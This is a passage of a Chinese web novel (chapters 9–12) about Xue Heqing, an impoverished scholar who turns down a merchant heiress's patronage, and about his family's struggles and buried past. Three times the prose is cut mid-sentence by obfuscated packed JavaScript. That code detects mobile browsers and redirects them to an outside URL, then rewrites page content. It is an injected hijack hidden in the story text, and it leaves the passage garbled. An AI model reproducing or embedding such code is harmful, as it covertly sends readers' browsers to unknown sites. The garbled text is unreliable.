“我并未觉得不好。”苏玉照笑道，“正巧我家里倒还有些桑皮洒金笺纸，颜色如雪，质地也厚，白放着没用，我拿几刀来送你吧，不为别的，只为衬得上先生的墨宝。” 薛鹤卿目光在苏玉照脸上打量片刻，回拒道：“多谢姑娘谬赞，只是无功不受禄，况且您所说的纸张实在贵重，若用来写书信，涨价得话，那些人家也用不起，可不涨价，单这纸张就比代笔费贵了，实在没有必要。” “不用来写信，你还可以自己留着用呀，或抄书或习作，都比那些毛边草纸好许多。”苏玉照道，“实不相瞒，我就是对面‘万宝楼’的主家。我观先生大才，必非池中之物，他日鱼跃龙门，还要托先生的福，庇佑小店生意呢，所以先生也不必同我客套。” 薛鹤卿立时明白了苏玉照的意思。 京中的确有不少富贵人家，钱财腰缠万贯，却苦于有财无势，便于春闱之前，专门打听着有那进京赶考的清贫举子，出资援助，结交一二，待到举子金榜题名，飞黄腾达，许多都不忘当初提携之恩，与旧故做个靠山，其中官商勾结、谋财害命者众多。如此污渠泥沼，薛鹤卿宁可潦倒清苦，摆摊写字度日，也不愿与之同流。 于是道：“神都城人才济济如过江之鲤，薛某未必就能高中，即便真个榜上有名，他日主政一方，百姓知道了他们的父母官，是个为了几刀纸笺就卑躬屈膝的小人，岂不心寒齿冷呢。” 苏玉照道：“我只是欣赏先生才学，恐怕明珠蒙尘，这才有意交个朋友，并无来日协恩图报之意，况我那店面作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371006|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得都是正经生意，哪怕你日后封侯拜相呢，我也不会找上门去，让你助着我欺行霸市的，你又何必介怀？” 薛鹤卿仍旧摇头：“姑娘虽无此心，但拿人手短，我自己骨气就先矮了一截。姑娘若有心，你我便只做君子之交即可。” 君子之交淡如水，萍水相逢会无期，意思就是以后彼此只当不相识喽。 苏玉照一大早兴冲冲来，白讨了个没意思,好在方才说话时无人在场，这会子见一旁又来了其他顾客，她又不是上赶子的人，便把书信折起，掖到袖子里：“既如此，我就不耽误先生发财了。” 薛鹤卿问道：“不用我帮你封好么？” “不用，我们家有自己的信差，不用驿馆的，他们磨磨蹭蹭，好几天才启程，太慢了。”苏玉照说着去摸自己的钱袋，却摸了个空，这才想起，早起量衣时解下来放到桌子上了，出来时忘了带。 “我没带钱，可否一会儿让伙计送来？”苏玉照问道。 薛鹤卿道：“无妨，姑娘只管去吧。” 苏玉照笑道：“我又不缺这几个钱，怎会短了你的。” 她又指着凳子上的软垫道：“你家妹妹这垫子做得精巧，绣花也可爱，我很喜欢，也卖给我如何，一会儿我让伙计把钱一并送来。” 薛鹤卿犹豫了一下，点头答应，淡笑道：“小妹手艺了了，难得入姑娘的眼，她往日送到绣坊的绢帕团扇，一个收十五文，这个垫子大些，她好歹绣了三五天，姑娘便给二十文吧，太少的话，我回去搪塞不过，怕她要哭鼻子的。” “这价格很公道。”苏玉照道。 他明码要价，显然是防着她再借由头多送钱收买他，其实大可不必，京城清贫的赶考学子数以千计，苏家往年资助的也不在少数。 只是苏家根基浅，从苏家老二苏柏川做京官，他们举家迁到神都城，“万宝楼”重新开张经营，到如今也不过十余载的功夫。 这些年，大比不过五六次，受他家资助的举人，中进士者十个里多说也只有两三个，其中又有谪放外任的，又有郁郁不得志的，现今能进到六部机要，在官场上可以说得上话的，也不过那么几家。 更不用说这里头还有忘恩负义，翻脸不认人的，得了势便眼高于顶，生怕别人提起他当年的窘状来，便与苏家草草断了联系，那些真金白银，也白填在里头。 最后能认苏家当年的人情，遇到事儿能帮得上忙的，一只手能数得过来。 不过就算是这样，也是值了。 人脉这种东西，本就是广撒网，精维系，那些雨过地皮湿的情分，不要也罢。 苏玉照看着薛鹤卿罢软垫用布裹了递过来，便伸手接了，转身回了“万宝楼”。 薛鹤卿看了一眼她离开的背影，坐回座位上，询问下一位客人要写什么字。 直到日薄西山，街上行人渐稀，料想也不会在有人来，薛鹤卿便起身，向吴伯借来盆水，把笔、砚洗净，将桌面收拾好，东西都放到背篓里，又把向吴伯借的桌凳还回去。 复出门来，看到街对面的“万宝楼”华灯璀璨，飞檐上的灯笼都亮了起来，整栋楼都泛着流光宝彩，楼门前穿戴锦绣的客人络绎不绝，甚至比白天更多，丝毫没有因为天黑影响了生意。 他这才想起来，这整整一日，那位姑娘也不曾差人送钱来。 10. 第10章 薛鹤卿停下脚步，考虑要不要上门去讨要那三十文钱。 他今天生意不错，除了早上和苏玉照闲聊的那一会儿，其他时候几乎都有客人，一共写了十来封书信，二十多副对联，还有三个斗匾，统共挣得三百多文钱，是较平日的两倍了。 但苏玉照那三十文，却仍占了他全部进项的十分之一，虽他口里说“无妨”，然则也仅仅是赊账无妨的意思，可不是指这钱不给也无妨。 若对方真赖账，他就有些肉疼了。 何况眼下已是九月，往前一天冷似一天，他家里冬事未办，赁的房子也要交租子。 三十文虽抵不得大用，也足够他们一家人好菜好肉，饱餐一顿了。 薛鹤卿想罢，还是决定去问一问，他不贪不占，但自己该得的，也不能少了。 背着竹篓来到“万宝楼”门前，一只脚刚跨进抱厦的门槛，正在殷勤招呼贵客的跑堂伙计看到他这一身打扮，有些诧异，呆愣了一瞬，方才扑棱了一下脑袋，上前抱拳笑着打招呼。 做手势把他请到一边悄声道：“不知先生有何贵干？若要买首饰，我劝您不如过些日子，等到月末再来，那时候有许多平价的折扣款，也是货真价实的，只是微微有些瑕疵，比如珍珠上有个小螺纹，簪子上有点划痕什么的，反正咱自己家里人戴，都不妨事，价格却便宜了一半不止，我自己也常给家人买。” 伙计冲里头努努嘴：“今儿晚上您还是别进去了，小的也不是拜高踩低，今儿个里头正开场子竞沽呢，卖得都是些无法复刻的稀世珍宝，擂鼓出价，一锤就是一千两，价高者得。那里面来的人啊，非富即贵，先生去了，若是不小心得罪了什么人，岂不是无妄之灾？” 跑堂伙计嘴皮子极溜，一开口就收不住，正话反话都让他说尽了，意思就是不让薛鹤清进去，只不过态度还算客气，没明着说：像你这样的穷酸，怎么敢来这纸醉金迷的地界，这里头那件首饰是你能买得起的？ 好在伙计并不拿大，把自己也归为和薛鹤卿一类的穷人家。 饶是如此，薛鹤卿也被说的脸上有些发烧，他来要钱，本就有些难以启齿，现在生生让伙计那句“一锤一千两”给镇住了，说又不是，走又不是，紧攥着衣袖颇为踌躇。 伙计见他面有难色，歪头问道：“先生不似来买东西的，可是有什么事？” 薛鹤卿咬了咬牙：“劳烦小哥，你们楼里有没有一位，呃，当家的姑娘？” “嗯？”伙计站直了，拿眼上下瞟他，警惕道：“您找我们少东家？她正在里头应酬呢，不知尊驾有什么事，若是紧要，我进去通传一声。” “也没甚要紧事，我是街对面摆摊写字的，今早她让我代笔写了封家书，又买了我一个小物件，没有带零钱，说会让人送来，但是......” 伙计闻言瞬间放松下来：“我当是什么，姑娘一来管事们就进去回话，又有几个贵客要陪着，上上下下忙乱一天，连午膳也是草草扒拉了几口。您这里许是她忘了也是有的，既这么着，您说个数，我先给你结了账，你好趁着天没黑回家去，我等姑娘闲了进去回一声，也就完了。” “如此有劳了。”薛鹤卿道，“书信是十文钱，另一个物件是二十文，您给我三十文即可。” 听他的口风，不像讹人的，伙计点点头，让薛鹤卿稍等，径自去了抱厦侧面的一个小屋，不多时拿出一串钱来，看数量约摸有一百个，递到薛鹤卿面前：“让你久等，又亲自上门一趟，原该我们送过去的，这些你收着，多了的就打酒吃吧。” 薛鹤卿抬手拦了一下，没有接：“劳烦小哥儿给我数三十钱，我与你们东家说好了的。” 伙计很诧异，看了看薛鹤卿，又看了看自己手里抓着的一把钱，疑心自己听错了。 他在“万宝楼”待得久了，见惯了元宝银锭，早不把这些零碎铜钱放在眼里，这都是逢年过节，东家命人抬着笸箩，出去大街上撒钱赏人讨彩头才用的。 就连主家平时赏底下人，也都用碎银子，他刚刚回屋，好容易才从柜子里翻出这一串钱来，都不知是哪年哪月剩下的了。 他自己都觉得寒酸，唯恐回头去向少东家禀告的时候，少东家说他小气。 可这书生竟不肯要，也不知是不是读书读傻了。 见他不动，薛鹤卿双手抱拳：“有劳。” 伙计无法，只得拆开麻绳，数出三十个铜子儿交给他，手上数着，嘴里也不闲着：“你这人，真是奇了，有钱还不肯要，又不是偷来抢来的，我白送你的怕什么，何苦这么丁是丁卯是卯的，这叫我怎么跟姑娘交差呢，我们这里赏那些跟着贵人来的车夫，都下不来一吊钱的，你让我如何跟姑娘交差呢。” 薛鹤卿接过钱，放到背篓的钱袋里，向伙计道谢：“你如实跟你们东家说就是，她赏贵人的车夫，是为了从他们主人身上赚回更多的银子来，跟我这种一锤子买卖不一样的。” 伙计干笑两声：“您这话说的，倒像我们是奸商。” “说笑而已，小哥不要见怪。”薛鹤卿拿了钱，心情也不错，同伙计告辞，转身从“万宝楼”出来。 外头天已经黑下来，薛鹤卿慢慢往家走，路过肉铺时，他停下脚步，想了想，向正要收摊的肉铺掌柜买了两斤肉。 “要多肥少瘦的。”薛鹤卿在那块猪肉上比量了一下，指出自己想要的部位。 “得嘞。”肉铺掌柜笑呵呵地给他用刀剌下一片肥瘦相间的五花肉来，用秤称得高高的二斤多沉，拿油纸包好，细麻绳系成个点心包的形状。 “来，您拿好，一共十八文。”掌柜的又另包了一块豆腐大小的猪血，“临收摊了，这猪血剩了两块，送你一个吧，吃好了再来啊。” “多谢。”薛鹤卿忙伸手接了，从钱袋里数出十八个铜子儿来付了钱。 今天生意不错，买点肉给母亲和弟弟、妹妹改善改善伙食。母亲早年操劳，这几年身体不太好，弟弟、妹妹十来岁，正是长身体的时候，平时饭食难见油腥，都饿得馋猫似的。 所幸他已中了举，再熬上大半年，等明年春闱，他若能中榜，便能让家中境遇大大改观。 无论是外放做官，还是留在翰林，最起码俸禄拿到手，能让家人吃饱穿暖，托托同僚的关系，应当也能让弟弟入官塾读书。 然后再攒上几年钱，也许能在京郊买下栋小一点的宅院，就不必再租赁别人的房屋了。 那样的话，将来弟弟、妹妹说亲，也像个样子。 薛鹤卿一路走一路胡思乱想，到家时已经繁星满天了。 他因身上没多少钱，租的房子也偏僻，在神都城东南角的青龙坊，是个一进的小院，主家是个乡绅，家中有几百亩良田，人住在城外的田庄，这里是专门买下来，赁出去赚租子的，每月五百钱。旁边还有几个小院，也是人家的，如今也都住着进京赶考的书生。 薛鹤卿来到自家门前，收回思绪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371007|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又想到妹妹要是知道自己绣的垫子卖了出去，应该也会很高兴。 他抬手推了推门，发现大门从里头栓了，这是他交代的，无论自己回没回来，一到天黑，就要把门反锁。 他们初来乍到，对这里人生地不熟的，自己不在家，万一有强盗贼人，就麻烦了。 薛鹤卿叩了叩门环，里面立刻传来回音：“是大哥回来了吗？” 薛鹤卿提高声量：“是我，鸿安，开门吧。” “唉，来了。” 薛鸿安一路小跑出来，把木栓提起，打开半扇门，身高快到薛鹤卿肩膀的半大少年，额头冒着汗，手里还拎着把斧头，仰头道：“大哥今天怎么回来这么晚？” 薛鹤卿在他头上划拉了一把，迈步进去：“干嘛了，出这么多汗？鸾意和娘呢。” 薛鸿安重新把门栓好，跟上来道：“娘在厨房烙饼呢，鸾意在帮忙烧火，我刚劈柴呢。” 他指了指墙角的一小摞码得整整齐齐的木头。 “哪儿来的柴火？”薛鹤卿问道。 薛鸿安拍拍胸脯，得意道：“我跟附近邻居们打听的，城外女儿峰上能砍柴，没人管的，我便跟着一起去了，果然随便砍，许多人打了柴进城卖呢。” 他凑到薛鹤卿身边，商量道：“赶明儿我编个大筐，多砍些好柴，也背去卖，他们说一担柴能卖三四十文呢。” 薛鹤卿停下脚步，回手在他头上敲了个暴栗：“你做什么梦呢，光听见人家赚钱，你怎么不打听打听，那一担柴有多重？” 薛鸿安眨眨眼：“能有多重，我劲儿大着呢。” 薛鹤卿轻笑：“少说也有一百多斤，你这小身板，挑都挑不起来。别整天想那有的没的了，有今儿你打的这些柴，也够用些天，等没有了我去买上几担，让人家送来，也就够过冬了。” 薛鸿安撅起嘴嘟哝道：“我想卖柴挣钱呢，哥哥反倒要买柴花钱。” 薛鹤卿一面吧背篓放到屋门口，把里面的东西一一拿出来，一面道：“这点小钱，该花就得花，若一味节省，等入了冬，天寒地冻的，再把人熬病了，岂是闹着玩的。你也不要再去女儿峰砍柴了，山上虽无猛兽，毒虫毒蛇也不少，咬一口小命休矣，砍多少柴禾也换不回来，听到没有？” 薛鸿安把手中的斧头丢到一边，拍拍手，不情愿道：“哎呀知道了知道了，哥哥总是说教，人家那么多人都去，也没见谁有事，偏我娇贵不成？我又不是吃不得苦，整日在家闲着也是闲着，家里家外全靠大哥你一个，我这不是心疼你么，妹妹还能绣个荷包、扇袋的挣点钱呢，只有我是个吃白食没用的。” “你别东拉西扯，谁许你在家闲着了，我且问你，我早起出门时给你留的功课，写了没有？”薛鹤卿问道。 薛鸿安一听这个，背着手，倒退着往后挪步，眼见就要溜，被薛鹤卿一把揪住耳朵：“你别告诉我，你一个字儿都没动。” 薛鸿安“嗷嗷”叫着讨饶：“哎呦，疼疼疼疼……大哥你松手，我砍柴了，我砍柴了！也算将功补过了吧？” “你不跟我说，私自出城上山，还有功了？”薛鹤卿气道，“打明儿起，不许出门，好好在家做功课，鸾意比你小，会默的文章都比你多了，你也不知道羞。” “我的娘嘞，她就比我小半个时辰。”薛鸿安口中叫屈，趁薛鹤卿不防，一拧身泥鳅似的滑脱，撒脚就往厨房跑去，边跑边抱着脑袋大喊，“娘亲救命，大哥要打我。” 11. 第11章 “大哥回来啦。”一个十来岁的小姑娘端着一摞饼从厨房出来，迎面碰上薛鸿安，一侧身躲开，笑吟吟道，“薛鸿安，你又胡闹，大哥让你用功读书，是为你好，你还大呼小叫的。快回来，洗手吃饭了。” “喂，喂，叫二哥！没大没小。” 薛鸿安经过她身边，吸溜了一下鼻子：“是什么这么香。” 薛鸾意：“小葱芝麻烧饼。” “快给我撕一块儿尝尝。”薛鸿安被香气勾出馋虫，伸手要拿，被薛鸾意“啪”一下打在手背上。 “把爪子洗干净再来。” “哦......” 薛鸿安只好拿盆出去井边打水。 薛鸾意把饼端进堂屋，放到桌子上，复又掀帘出来，对门口的薛鹤卿道：“大哥进去坐吧，先歇一会儿，阿娘说还要炒个菜，我去看着火。” “我去吧，”薛鹤卿把那个老婆婆给的糟鱼坛子搬出来，递给薛鸾意，“有客人送了点吃食，你去拿个碟子盛了吧。” “呦，谁这么好心。”薛鸾意笑着接过。 又见薛鹤卿手里拿着两个纸包，因问：“这是什么，点心吗？” 薛鹤卿摇头：“买了点肉，摊主还送了块儿猪血，一会我拿去厨房做了，你喜欢吃酱烧的还是清炒的？” “今晚有肉吃？太好了。”薛鸾意眼睛亮起来，“大哥你快去，娘亲正摘蕹菜呢，那个和肉炒最好吃了。” 薛鹤卿点头答应，提着肉往厨房走，听到薛鸾意在身后小声说：“有好心人送鱼，大哥又买了肉，今天真是个好日子。” 薛鹤卿勾唇轻笑了一下，回头道：“这就算好日子了？等明年哥哥中了进士，咱们家天天都有肉吃。” 薛鸾意不好意思地吐了吐舌头：“大哥少打趣人，我又不像薛鸿安那家伙，活似饿死鬼托生的，见到吃的就挪不动步。还有啊，你们整日说明年春闱的事，好像明年考完试，咱们家就改天换日了一样，你也说，娘也说，可我觉得这样大哥你的压力太大了，不是我对大哥没信心，只是万一......” 薛鹤卿道：“万一不中，也没什么要紧，大不了咱们从头再来，我再回乡做上三年教书先生，也养活得了你们，不用担心。” 虽如此说，薛鹤卿对自己的才学还是颇为自负的，他父亲虽早逝，生前却酷爱藏书。 他三岁启蒙，天资聪颖，过目不忘，由父亲亲自教导了几年，后来又博览群书，把家中藏书读了个遍。 先前在院试、乡试中，虽未得头名，但都名列前茅，这次会试，不求能中状元榜眼，取第进士总没什么问题的。 薛鹤卿来至厨房，薛母正坐在灶前，借着灶膛的火光摘菜，见他进来手上也不停，只略抬了抬头，温声道：“回来啦？” “嗯，阿娘，我来吧。” 薛鹤卿走过去，屈膝蹲下，把肉放到灶台上，接过笸箩，把摘好的蕹菜用水洗了，切段放到一边，又另换了一副案板和菜刀，把肉拿过来切片。 薛母则往灶里添了两根木柴，两人边忙边说些闲话。 “今日生意挺好，我挣了三百多钱，明日阿娘带他俩去集市逛逛，买两匹布料，每人做件冬衣，往前天冷了，被褥、木炭之类的也该预备预备。”薛鹤卿道。 薛母见他先把白肉端了过来，知道他想先煎猪油，便把木柴往外抽了抽，起身接过铲子：“这个要小火慢慢煎才好，你控制不好火候，别炼焦了。” 薛母先把锅里烧的开水灌到壶里，又在锅底抹了点底油，待锅烧热了，才把肉倒进去慢慢翻炒，一股浓香瞬间在小厨房里炸开。 “是该预备冬事了，北方这天气，你们不记得，我是知道的，往往今儿还暖和得很，明儿就冷得要穿棉衣了。”薛母道，“这些琐事我自有主张，你不用操心，一会用过饭只管温你的书去。现在天还不甚冷，倒还无妨，等过些时落了雪，索性你也不要出去摆摊了，安心在家读书。家计费用你不用担心，我也攒了些体己，又从绣坊里领了活计回来做，和你妹妹做针线，每日也能挣点家用，撑上几个月不成问题。等明年你考完试，咱们再做打算。” 薛鹤卿心头有点酸：“辛苦阿娘和妹妹了，等过了这阵子……” “这有什么的，谁家女子不做针线，以前你父亲在的时候，咱们家是什么光景，就是那时，我们娘们几个，晚上也要做活到二更呢。”薛母不在意道。 薛鹤卿闻言低头不语，只捡了根木柴添到灶膛里。 父亲在时，他也不过八九岁，小时候许多事情他都不记得了，只记得那时自己家就是在这神都城的，也是深宅大院，父亲还是朝堂大官，而他则还是是众星捧月的小公子。 九岁那年冬天，父亲不知怎么落了罪，先是被押入大牢，后来被判了流放，不幸死在了流放的路上，家里也被抄了。 那时母亲正身怀六甲，他又年幼，依律得以赦免，他随母亲连夜逃出京城，至今犹记得一路都有人追杀。 母亲一直说，父亲是被冤枉的，他主张改革，动了某些人的利益，便被人网罗罪名，构陷其结党营私，与他一同推动改革的官员也都落了罪。。 薛鹤卿父亲原姓周，月字辈，名唤周士明。为了保命，母亲带他躲到乡下后，让他改随了母姓，后来弟弟、妹妹出生后，也就顺势跟着姓了薛。 薛鹤卿记得，父亲还有个幼妹，当年只有十七八岁，刚相准了婆家，犹未出嫁。因祖父祖母已过世，那位小姑姑便与哥嫂住在一起，平时也会帮着嫂嫂照看他，与薛鹤卿十分亲厚。 周家抄家后，已经下了聘的男家怕被连累，为了撇清关系，火速退婚，小姑姑被没入教坊司，至今音讯全无，也不知怎么样了。 薛母带着孩子安顿好后，也曾几番托人来京中打探消息，各处秦楼楚馆，烟花柳巷都问遍了，只是没这么个人。 薛鹤卿猜测，要么是楼中老鸨给改了花名儿，要么就是小姑姑被人买了去。 这次他们进京，除了参加明年春闱之外，还希望再想想法子，找到小姑姑，不管被卖到了哪里，总要把人赎回来，一家子团聚才好。 薛母见他闷着头不语，也沉默了片刻，脸上升起些愧色，叹气道：“月盈多好个姑娘，白让咱们家给连累了，这些年还不知被磋磨到什么田地，我每每想起来就心如锥刺。可恨那赵家，什么破落户，先时还巴巴的上赶子来咱们家提亲，伏小做低地献殷勤，你哥哥答应这门婚事，还是为了月盈嫁过去能当家做主，不被欺负。结果呢，咱们家刚一出事，他赵家跑得比兔子还快，真真无耻小人。” 薛鹤卿苦笑道：“娘，你小声些吧，我打听着赵家，现如今攀上了内阁首辅郑玄镛，赵公子官任吏部员外郎，早已不可同日而语了，这次会试人家还是主考官之一，我还得多加小心，谨防他把我认出来呢。” 薛母气得把一盆菜全倒进锅里，抄起铲子“哐哐”地炒：“真是老天无眼，什么跳梁小丑，也登上大台盘了。” 她端详儿子的脸，又道：“不过也不用太担心，你模样多像我些，脸小，眉眼又清秀，跟你那坑煞人的爹长得可不一样，谅他也认不出来。” “嗯。”薛鹤卿应了一声，又闷闷道，“这几天我亲自去了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371008|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家青楼，都没问到小姑姑的音讯。” “这也急不得，咱们现在就是平民百姓，那些人都是狗眼看人低的，岂会理你呢。等你中了进士，选进翰林，到那时再去问，即便他们不知道，也会主动帮你打听的。”薛母盛出菜，立在灶边，叹息道，“总不过是再等半年，月盈前半辈子吃足了苦，菩萨保佑，她以后一定福泽深厚，长命百岁。” 薛鹤卿也知道干着急没有用，起身端起菜盘：“知道了，娘，咱们先吃饭吧。” 堂屋中，薛鸿安已经打了水回来，听说有肉吃，拿了张烧饼，一边大嚼一边眼巴巴等着。 四人围坐桌前，虽然只有两道菜和一小碟儿盐水，但因为有荤腥，几人吃的格外满足。 用过饭后，薛母和鸾意在灯下绣花，薛鸿安被薛鹤卿摁头坐到桌前强治着做功课。 薛鹤卿自己也拿了本父亲当年亲笔写的策论，温习翻看。 窗外透出暖黄的烛火，窗纸上映出几人的剪影，倒也温馨如画。 此时刚入更，金台坊的“万宝楼”，正到了最热闹的时候。一件件奇珍异宝，由最顶尖的工匠师傅做成炫彩夺目的首饰，摆到高台上，每一件都价值连城。 竞沽的买客为了彰显身份财力，全都杀红了眼，堂中出价的小鼓声不绝于耳。 大厅高台后有一间倒座，苏玉照坐在幕后，操控着首饰展出的进程，她见好就收，吩咐最后上一件点翠九凤衔珠冠，今日就到此为止。 竞沽每月一次，每次只卖十件首饰。再想要的，就请下个月提早递帖子。 金环在一旁道：“客人们正在兴头上，咱们又不是没有货了，何不趁机多卖一些。” “我说你是小财迷。”苏玉照笑道，“咱们家贵重的首饰头面，为什么能让那些夫人小姐们趋之若鹜，还不是因为它稀缺，能彰显她们的身份地位么？若人人随便都能买得到，她们不就没得显摆了，那就卖不上价了，傻丫头。” “可咱们楼里还卖普通的簪环发钗啊，那些又不限数量，也没那么贵重，寻常百姓攒一攒钱也能买得起，贵人们有的，坊间女孩儿们也有，这还怎么彰显身份呢？”金环疑惑道。 苏玉照拍手道：“好问题，不枉我往日教导你。我跟你讲，关键就在这个“普通”二字和“攒一攒”上。你想，寻常人家攒上一年半载，才能买一件样式普通、材质也普通的小花钗或者戒指、项圈之类的，跟那些贵人们的华冠丽服一比，何其寒酸，怎么不算彰显了贵人的体面呢？而在普通人堆儿里，他们说出去也是买的‘万宝楼’的首饰，把上面的‘卐’字纹一亮，邻居百家只有艳羡得份，他们脸上也有光，这就是咱们招牌的好处了。” 金环恍然大悟：“哦，我明白了，这叫做两头通吃。” “哎，对喽！”苏玉照道，“咱们做生意的......” 苏玉照来了瘾，刚要给金环好好讲一讲商道，就见银屏走进来，回道：“姑娘，前头完事了，大掌柜在送客，命几个管事的进来报账，另有一个跑堂的伙计，说有事要面回姑娘，也在外头候着了。” 苏玉照挑眉：“跑堂伙计来做什么，别是得罪了哪位贵人，你且叫他进来，让掌事们略等一等。” 银屏答应着去了，不多时领进个十几岁的小厮进来。 那小厮机灵得紧，进来先请了安，方回道：“回少东家，也没什么大事，原不该来叨扰姑娘。只是您往常就厚待读书人，今儿有个年轻书生来要钱，小的少不得来回一声，好叫姑娘知道。” “嗯？”苏玉照疑惑片刻，一拍脑门，“哎呦，怎么把他忘了。” 12. 第12章 “他人呢？”苏玉照问道。 心里又纳罕，那个薛鹤卿，表面看起来安贫乐道，原来也是个锱铢必较的，不过是几十文钱，也值当的要上门来，不是自持读书人的气节么，看来也不过如此。 小厮见她上心，忙回道：“人已经走了，他天擦黑的时候来的，我那会子在大堂招呼客人，迎头见他进来，瞧着身上穿戴俭朴，我便把他拦下，说了几句话，他就开口要钱，说给您代笔书信，还卖您一个物件，一共三十文钱。我想着您里头忙，顾不上这点小事，于是自作主张给他结了账。” “嗯。”苏玉照点点头，又问，“咱们家按例是有赏钱的，你给他结了多少？” 小厮手一摊：“我何尝不曾给他赏钱，可他不肯要啊，到底让我数了三十文出来给他，他便走了。我想着事情虽小，还是来回姑娘一声。” 苏玉照若有所思，半晌方道：“我知道了，你去吧，到账房报销就行。” 小厮笑了笑：“这点小钱，小的还孝敬的起，哪里值得再去惊动二掌柜的人。” 苏玉照点点头也不在意，见他走到门口，又开口叫住他：“等等，回来，你叫什么？” 小厮回身走近两步，躬身道：“回姑娘，小的叫吴大才，我娘说了，不求我有什么大作为，只要有点小聪明，一辈子吃穿不愁，就是造化了。” 苏玉照一听乐了：“吴大才......你这名字挺好，姓氏也好。这样，一会儿你去账房支二十两银子，这钱呢先放在你那儿。今日来的那个书生，在街对面摆字摊，他与我有些交情，你帮我盯着点儿，若他遇到什么麻烦，我又不在，你就出手帮一帮，等到明年春闱后，那十两银子就赏你了。” “唉，您放心。”吴大才拍着胸脯保证道，“有我在，保证整条街没人敢找那位郎君的麻烦。” “行了，少吹牛皮，快去吧。”银屏笑着推了他一把。 吴大才乐呵呵出去了，各管事的依序进来报账，哪项首饰卖了多少件，净重多少，镶嵌了什么珠宝，卖价几何，都记在一张张洒金笺纸上。 管事的把条子呈上来，给苏玉照过了目，再有账房按条目记到账册上，纸笺则附在账册后面，再由金环、银屏二人核对过一遍方罢。 待账目对完，管事们都退下，银屏端来茶点：“姑娘先吃些垫垫肚子，我已命人回府上跟夫人，说姑娘在楼里用晚膳，方才叫小厮去贵禧楼订了两桌席面，估计过会子再送来。” “你安排的很好。”苏玉照满意道，“今儿大伙都辛苦，等席面来了，挑几样咱们爱吃的留下，剩下的给伙计们带回去，也让他们家里人打打牙祭。” 她拿起块儿茯苓糕咬了一小口，问金环道：“前儿我让你查入京参加明年会试的生员情况，查得如何了？” “我正要回姑娘呢。按姑娘的吩咐，我命人到青龙坊和蟾桂坊走了一遍，这两坊是外地生员聚居之地，其中各府解员和才华佼佼者，都留了名录和住址，家境情况也了解了一番，这是册子，请姑娘过目。”金环从袖中取出一个小札，递给苏玉照。 苏玉照细细翻看一遍，果然从中瞧见了薛鹤卿的名字。 她用笔圈出几个名字，又把小札交还给金环：“各府解员自然有不少人已经先下手笼络了，咱们没必要赶着去烧热灶，我画出来这几个，都是府试排名较为靠前，年纪又轻家境又贫寒的，少年心气知恩图报，你一会拿我的对牌，去账上支一千两银子，到钱庄兑成现银，按人数分好份，压上我的请帖，给他们送去。” “是。”金环答应着接过，看到册子正翻到薛鹤卿那一页，但他的名字却没被圈出来，不由问道,“姑娘，这个薛郎君很符合您选人的标准，咱们不资助他吗？” 苏玉照摆摆手：“这人拧得很，不必理他。” 待用过晚膳，已经亥时三刻，深夜不便骑马，苏玉照便与金环、银屏一道坐马车回苏府。 到家时崔氏已经睡下了，苏玉照叮嘱不要惊动，带着人悄悄绕过前院儿，回到自己住的金玉堂。 刚进院子，就见福宁在廊下焦急地打转。 “福宁姐姐，你不在母亲跟前服侍，怎么往后头来了，可是有什么事？”苏玉照快步走过去问道。 福宁道：“太太那边有长喜和吉祥呢，姑娘不用担心。我来是有事回姑娘。” 苏玉照颔首：“姐姐进来说话。” 宝珠这时掀帘出来，扶过苏玉照的手臂：“我让她进屋等，她偏在外头打磨子。金环、银屏，你们歇着去吧，姑娘这里有我呢。” 金环、银屏告退下去，苏玉照同宝珠、福宁进了屋。 翠钿端来玫瑰酥酪，苏玉照请福宁坐下，边吃边说。 自己则坐到一旁的妆台前，让宝珠给她把头面拆了：“快给我把头发散了松快松快，忙了这一天，脖子都要酸了。” 宝珠小心地把一件件首饰卸下，放到妆奁里，又拿来檀木梳子，蘸了花露给她通头。 那厢福宁坐到小杌子上，也没心情吃酥酪，急急道：“姑娘昨儿夜里吃醉了酒不知道，二太太昨晚同咱们太太一块回来，两人叽叽咕咕不知说了些什么，我留心看着，太太进里屋动了钱匣子，好像取了什么东西给二太太拿走了。我怕太太被诓骗了，等她睡下，便用姑娘给的备用钥匙打开钱匣子查看，果然，少了几张地契，少说也值五千两银子。早起人多口杂，我也不便回姑娘，所以拖到这会子。” “你说多少。”苏玉照蹙起眉，“五千两？！” 福宁重重点头：“是。我数了好几遍，绝不会错。” 苏玉照“噌”地站起来，气得叉腰：“母亲好糊涂，我在楼里明察暗访，费了多少心力，找出内鬼，也才追回来五百两的贼赃。二婶婶一伸手，她就轻飘飘给出去五千两，整整十倍。而且还神神秘秘得瞒着我，肯定是二婶婶调唆的，我这就找她对峙去。” 说着气鼓鼓就往外走。 